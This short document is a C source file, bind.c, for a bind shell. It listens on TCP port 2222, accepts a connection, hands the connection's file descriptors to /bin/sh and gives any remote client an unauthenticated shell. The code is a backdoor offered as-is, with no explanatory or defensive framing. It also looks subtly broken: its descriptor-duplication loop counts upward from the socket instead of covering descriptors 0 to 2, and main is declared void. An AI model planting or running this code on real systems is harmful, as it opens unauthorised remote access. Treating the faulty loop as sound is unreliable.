Code for binding a port and spawning a shell

bind.c

#include <unistd.h>
#include <stdlib.h>
#include <netinet/in.h>

void main() {
	int sock = socket(AF_INET, SOCK_STREAM, 0);
	struct sockaddr_in addr;

	addr.sin_family = AF_INET;
	addr.sin_addr.s_addr = INADDR_ANY;
	addr.sin_port = htons(2222);

	int ret = bind(
		sock,
		(struct sockaddr*)&addr,
		sizeof(addr)
	);

	ret = listen(sock, 1);

	int client = accept(
		sock,
		(struct sockaddr*)NULL,
		NULL
	);

	for (int i = sock; i >=0; i++) {
		dup2(client, i);
	}

	char *argv[] = {"/bin/sh", 0};
	execve(argv[0], argv, NULL);
}